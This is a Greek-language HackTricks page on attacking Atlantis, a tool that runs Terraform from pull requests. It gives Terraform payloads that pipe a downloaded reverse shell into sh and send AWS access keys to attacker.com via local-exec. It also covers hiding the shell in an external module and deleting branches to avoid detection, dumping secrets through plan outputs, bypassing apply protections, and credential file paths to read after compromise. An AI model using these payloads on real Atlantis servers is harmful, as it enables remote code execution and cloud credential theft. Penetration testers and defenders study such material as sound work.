Atlantis Security

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Βασικές Πληροφορίες

Το Atlantis σας βοηθά να εκτελέσετε το terraform από τα Pull Requests από τον git server σας.

Τοπικό Εργαστήριο

  1. Πηγαίνετε στη σελίδα κυκλοφορίας του atlantis στο https://github.com/runatlantis/atlantis/releases και κατεβάστε αυτό που σας ταιριάζει.

  2. Δημιουργήστε ένα προσωπικό token (με πρόσβαση στο αποθετήριο) του github χρήστη σας

  3. Εκτελέστε ./atlantis testdrive και θα δημιουργήσει ένα demo αποθετήριο που μπορείτε να χρησιμοποιήσετε για να επικοινωνήσετε με το atlantis

  4. Μπορείτε να αποκτήσετε πρόσβαση στην ιστοσελίδα στη διεύθυνση 127.0.0.1:4141

Πρόσβαση Atlantis

Διαπιστευτήρια Git Server

Το Atlantis υποστηρίζει διάφορους git hosts, όπως το Github, το Gitlab, το Bitbucket και το Azure DevOps. Ωστόσο, για να έχει πρόσβαση στα αποθετήρια αυτών των πλατφορμών και να εκτελέσει ενέργειες, χρειάζεται να τους παραχωρηθεί κάποια προνομιούχα πρόσβαση (τουλάχιστον δικαιώματα εγγραφής). Τα έγγραφα προτείνουν τη δημιουργία ενός χρήστη σε αυτές τις πλατφόρμες ειδικά για το Atlantis, αλλά κάποιοι άνθρωποι μπορεί να χρησιμοποιούν προσωπικούς λογαριασμούς.

Σε κάθε περίπτωση, από την πλευρά ενός επιτιθέμενου, ο λογαριασμός Atlantis θα είναι πολύ ενδιαφέρον για να παραβιαστεί.

Webhooks

Το Atlantis χρησιμοποιεί προαιρετικά Webhook secrets για να επαληθεύσει ότι τα webhooks που λαμβάνει από τον Git host σας είναι νόμιμα.

Ένας τρόπος επαλήθευσης αυτού θα ήταν να επιτρέψετε μόνο αιτήσεις που προέρχονται από τις IP του Git host σας, αλλά ένας πιο εύκολος τρόπος είναι να χρησιμοποιήσετε ένα Webhook Secret.

Σημειώστε ότι εκτός εάν χρησιμοποιείτε έναν ιδιωτικό διακομιστή github ή bitbucket, θα χρειαστεί να αποκαλύψετε τα σημεία πρόσκλησης του webhook στο Διαδίκτυο.

Το Atlantis θα εκθέτει webhooks ώστε ο git server να μπορεί να του στέλνει πληροφορίες. Από την πλευρά ενός επιτιθέμενου, θα ήταν ενδιαφέρον να γνωρίζετε αν μπορείτε να του στείλετε μηνύματα.

Διαπιστευτήρια Παρόχου

Από τα έγγραφα:

Το Atlantis εκτελεί το Terraform απλά ε

Προστασίες PR

Το Atlantis επιτρέπει να υποδείξετε εάν θέλετε το PR να είναι εγκεκριμένο από κάποιον άλλο (ακόμα κι αν αυτό δεν έχει οριστεί στην προστασία του κλαδιού) και/ή να είναι συγχωνεύσιμο (περάσανε οι προστασίες του κλαδιού) πριν την εκτέλεση της εφαρμογής. Από πλευράς ασφάλειας, συνιστάται να ορίσετε και τις δύο επιλογές.

Σε περίπτωση που το allowed_overrides είναι True, αυτές οι ρυθμίσεις μπορούν να αντικατασταθούν σε κάθε έργο από το αρχείο /atlantis.yml.

Σενάρια

Η διαμόρφωση του αποθετηρίου μπορεί να καθορίσει σενάρια που θα εκτελούνται πριν (pre workflow hooks) και μετά (post workflow hooks) από την εκτέλεση ενός ροής εργασίας.

Δεν υπάρχει καμία επιλογή για να επιτρέπεται η καθορισμός αυτών των σεναρίων στο αρχείο /atlantis.yml του αποθετηρίου.

Ροή εργασίας

Στη διαμόρφωση του αποθετηρίου (διαμόρφωση στην πλευρά του διακομιστή) μπορείτε να καθορίσετε μια νέα προεπιλεγμένη ροή εργασίας, ή δημιουργήσετε νέες προσαρμοσμένες ροές εργασίας. Μπορείτε επίσης να καθορίσετε ποια αποθετήρια μπορούν να έχουν πρόσβαση στις νέες που δημιουργήθηκαν. Στη συνέχεια, μπορείτε να επιτρέψετε στο αρχείο atlantis.yaml κάθε αποθετηρίου να καθορίσει τη ροή εργασίας που θα χρησιμοποιηθεί.

Εάν η σημαία server side config allow_custom_workflows έχει οριστεί σε True, οι ροές εργασίας μπορούν να καθοριστούν στο αρχείο atlantis.yaml κάθε αποθετηρίου. Είναι επίσης πιθανόν να χρειαστεί να οριστεί επίσης η allowed_overrides για να αντικαταστήσει τη ροή εργασίας που θα χρησιμοποιηθεί. Αυτό ουσιαστικά θα δώσει RCE στον διακομιστή Atlantis σε οποιονδήποτε χρήστη μπορεί να έχει πρόσβαση σε αυτό το αποθετήριο.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Έλεγχος πολιτικής Conftest

Το Atlantis υποστηρίζει την εκτέλεση server-side conftest πολιτικών εναντίον της εξόδου του σχεδίου. Οι κοινές περιπτώσεις χρήσης για τη χρήση αυτού του βήματος περιλαμβάνουν:

  • Απαγόρευση χρήσης μιας λίστας από ενότητες

  • Επιβεβαίωση των χαρακτηριστικών ενός πόρου κατά τη δημιουργία

  • Ανίχνευση ακούσιων διαγραφών πόρων

  • Πρόληψη κινδύνων ασφάλειας (π.χ. αποκάλυψη ασφαλών θυρών στο κοινό)

Μπορείτε να ελέγξετε πώς να το διαμορφώσετε στα έγγραφα.

Εντολές Atlantis

Στα έγγραφα μπορείτε να βρείτε τις επιλογές που μπορείτε να χρησιμοποιήσετε για να εκτελέσετε το Atlantis:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Επιθέσεις

Εάν κατά την εκμετάλλευση αντιμετωπίσετε αυτό το σφάλμα: Error: Error acquiring the state lock

Μπορείτε να το διορθώσετε εκτελώντας:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Τροποποίηση ρύθμισης σε νέο PR

Εάν έχετε πρόσβαση εγγραφής σε ένα αποθετήριο, θα μπορείτε να δημιουργήσετε ένα νέο κλαδί σε αυτό και να δημιουργήσετε ένα PR. Εάν μπορείτε να εκτελέσετε την εντολή atlantis plan (ή ίσως εκτελείται αυτόματα), θα μπορείτε να εκτελέσετε RCE μέσα στον διακομιστή Atlantis.

Μπορείτε να το κάνετε αυτό δημιουργώντας έναν εξωτερικό πηγή δεδομένων που φορτώνεται από το Atlantis. Απλά τοποθετήστε ένα payload όπως το παρακάτω στο αρχείο main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Επίθεση με μεγαλύτερη αόρατη δράση

Μπορείτε να εκτελέσετε αυτήν την επίθεση ακόμα και με μεγαλύτερη αόρατη δράση, ακολουθώντας αυτές τις συστάσεις:

  • Αντί να προσθέσετε απευθείας το αντίστροφο κέλυφος (rev shell) στο αρχείο terraform, μπορείτε να φορτώσετε έναν εξωτερικό πόρο που περιέχει το αντίστροφο κέλυφος:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Μπορείτε να βρείτε τον κώδικα του αντιστρόφου κελύφους στο https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Στο εξωτερικό πόρο, χρησιμοποιήστε το χαρακτηριστικό ref για να κρύψετε τον κώδικα του αντιστρόφου κελύφους του terraform σε ένα κλαδί μέσα στο αποθετήριο, κάτι σαν αυτό: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

  • Αντί να δημιουργήσετε ένα PR στο master για να ενεργοποιήσετε το Atlantis, δημιουργήστε 2 κλαδιά (test1 και test2) και δημιουργήστε ένα PR από το ένα στο άλλο. Όταν ολοκληρώσετε την επίθεση, απλά αφαιρέστε το PR και τα κλαδιά.

Atlantis plan Secrets Dump

Μπορείτε να αποκτήσετε πρόσβαση σε μυστικά που χρησιμοποιούνται από το terraform εκτελώντας την εντολή atlantis plan (terraform plan) τοποθετώντας κάτι παρόμοιο στο αρχείο terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis εφαρμογή RCE - Τροποποίηση ρυθμίσεων σε νέο PR

Εάν έχετε πρόσβαση εγγραφής σε ένα αποθετήριο, θα μπορείτε να δημιουργήσετε ένα νέο κλαδί σε αυτό και να δημιουργήσετε ένα PR. Εάν μπορείτε να εκτελέσετε atlantis apply, θα μπορείτε να εκτελέσετε RCE μέσα στον διακομιστή Atlantis.

Ωστόσο, συνήθως θα χρειαστεί να παρακάμψετε ορισμένες προστασίες:

  • Δυνατότητα συγχώνευσης: Εάν αυτή η προστασία έχει οριστεί στο Atlantis, μπορείτε να εκτελέσετε atlantis apply μόνο εάν το PR είναι δυνατό να συγχωνευτεί (πράγμα που σημαίνει ότι η προστασία του κλαδιού πρέπει να παρακαμφθεί).

  • Εγκεκριμένο: Εάν αυτή η προστασία έχει οριστεί στο Atlantis, κάποιος άλλος χρήστης πρέπει να εγκρίνει το PR πριν μπορέσετε να εκτελέσετε atlantis apply

  • Από προεπιλογή, μπορείτε να καταχραστείτε το token Gitbot για να παρακάμψετε αυτήν την προστασία

Εκτέλεση terraform apply σε ένα κακόβουλο αρχείο Terraform με local-exec. Απλά πρέπει να βεβαιωθείτε ότι ένα φορτίο όπως τα παρακάτω τελειώνει στο αρχείο main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Ακολουθήστε τις προτάσεις από την προηγούμενη τεχνική για να εκτελέσετε αυτήν την επίθεση με έναν πιο αόρατο τρόπο.

Εισαγωγή Παραμέτρων Terraform

Όταν εκτελείτε την εντολή atlantis plan ή atlantis apply, το terraform εκτελείται αυτόματα, μπορείτε να περάσετε εντολές στο terraform από το atlantis σχολιάζοντας κάτι όπως:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Κάτι που μπορείτε να περάσετε είναι μεταβλητές περιβάλλοντος που μπορεί να βοηθήσουν στην παράκαμψη ορισμένων προστασιών. Ελέγξτε τις μεταβλητές περιβάλλοντος του terraform στο https://www.terraform.io/cli/config/environment-variables

Προσαρμοσμένη Ροή Εργασίας

Εκτέλεση κακόβουλων προσαρμοσμένων εντολών κατασκευής που καθορίζονται σε ένα αρχείο atlantis.yaml. Το Atlantis χρησιμοποιεί το αρχείο atlantis.yaml από το κλαδί του αιτήματος ενσωμάτωσης (pull request), όχι από το master. Αυτή η δυνατότητα αναφέρθηκε σε προηγούμενη ενότητα:

Εάν η σημαία server side config allow_custom_workflows έχει τεθεί σε True, οι ροές εργασίας μπορούν να καθοριστούν στο αρχείο atlantis.yaml κάθε αποθετηρίου. Είναι επίσης πιθανόν να χρειάζεται να καθοριστεί επίσης η παράμετρος allowed_overrides με την τιμή workflow για να αντικαταστήσει τη ροή εργασίας που θα χρησιμοποιηθεί.

Αυτό ουσιαστικά θα παρέχει RCE (Remote Code Execution) στον διακομιστή Atlantis σε οποιονδήποτε χρήστη μπορεί να έχει πρόσβαση σε αυτό το αποθετήριο.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Παράκαμψη προστασίας plan/apply

Εάν η σημαία server side config allowed_overrides έχει ρυθμιστεί με apply_requirements, είναι δυνατό για ένα αποθετήριο να τροποποιήσει τις προστασίες plan/apply για να τις παρακάμψει.

repos:
- id: /.*/
apply_requirements: []

Απάτη PR

Εάν κάποιος στείλει σχόλια atlantis plan/apply στα έγκυρα αιτήματα ενσωμάτωσής σας, θα προκαλέσει την εκτέλεση του terraform όταν δεν το επιθυμείτε.

Επιπλέον, εάν δεν έχετε ρυθμίσει στη προστασία κλαδιού να ζητείται επαναξιολόγηση για κάθε αίτημα ενσωμάτωσης όταν ανεβάζεται ένα νέο commit, κάποιος μπορεί να γράψει κακόβουλες ρυθμίσεις (ελέγξτε τα προηγούμενα σενάρια) στο αρχείο διαμόρφωσης του terraform, να εκτελέσει atlantis plan/apply και να αποκτήσει RCE.

Αυτή είναι η ρύθμιση στις προστασίες κλαδιού του Github:

Μυστικό Webhook

Εάν καταφέρετε να κλέψετε το μυστικό webhook που χρησιμοποιείται ή εάν δεν χρησιμοποιείται κανένα μυστικό webhook, μπορείτε να καλέσετε το webhook του Atlantis και να εκτελέσετε εντολές atlantis απευθείας.

Bitbucket

Το Bitbucket Cloud δεν υποστηρίζει μυστικά webhook. Αυτό μπορεί να επιτρέψει σε επιτιθέμενους να πλαστογραφήσουν αιτήματα από το Bitbucket. Βεβαιωθείτε ότι επιτρέπετε μόνο τις διευθύνσεις IP του Bitbucket.

  • Αυτό σημαίνει ότι ένας επιτιθέμενος μπορεί να κάνει ψεύτικα αιτήματα στο Atlantis που φαίνεται ότι προέρχονται από το Bitbucket.

  • Εάν καθορίζετε --repo-allowlist, τότε μπορούν να πλαστογραφήσουν μόνο αιτήματα που αφορούν αυτά τα αποθετήρια, οπότε ο μεγαλύτερος κίνδυνος που μπορούν να προκαλέσουν είναι να προγραμματίσουν/εφαρμόσουν στα δικά σας αποθετήρια.

  • Για να αποτρέψετε αυτό, προσθέστε στη λίστα επιτρεπόμενων διευθύνσεων IP του Bitbucket τις διευθύνσεις IP του Bitbucket (δείτε τις εξερχόμενες IPv4 διευθύνσεις).

Μετά την Εκμετάλλευση

Εάν καταφέρετε να αποκτήσετε πρόσβαση στον διακομιστή ή τουλάχιστον να έχετε LFI, υπάρχουν μερικά ενδιαφέροντα πράγματα που πρέπει να δοκιμάσετε να διαβάσετε:

  • /home/atlantis/.git-credentials Περιέχει διαπιστευτήρια πρόσβασης στο VCS

  • /atlantis-data/atlantis.db Περιέχει διαπιστευτήρια πρόσβασης στο VCS με περισσότερες πληροφορίες

  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Αρχείο κατάστασης Terraform

  • Παράδειγμα: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

  • /proc/1/environ Μεταβλητές περιβάλλοντος

  • /proc/[2-20]/cmdline Εντολή εκτέλεσης του atlantis server (μπορεί να περιέχει ευαίσθητα δεδομένα)

Αντιμετώπιση

Να μην χρησιμοποιείτε σε δημόσια αποθετήρια

Επειδή οποιοσδήποτε μπορεί να σχολιάσει σε δημόσια αιτήματα ενσωμάτωσης, ακόμα και με όλες τις διαθέσιμες αντιμετωπίσεις ασφαλείας, είναι επικίνδυνο να εκτελείτε το Atlantis σε δημόσια αποθετήρια χωρίς τη σωστή ρύθμιση των ρυθμίσεων ασφαλείας.

Να μην χρησιμοποιείτε --allow-fork-prs

Ε

Last updated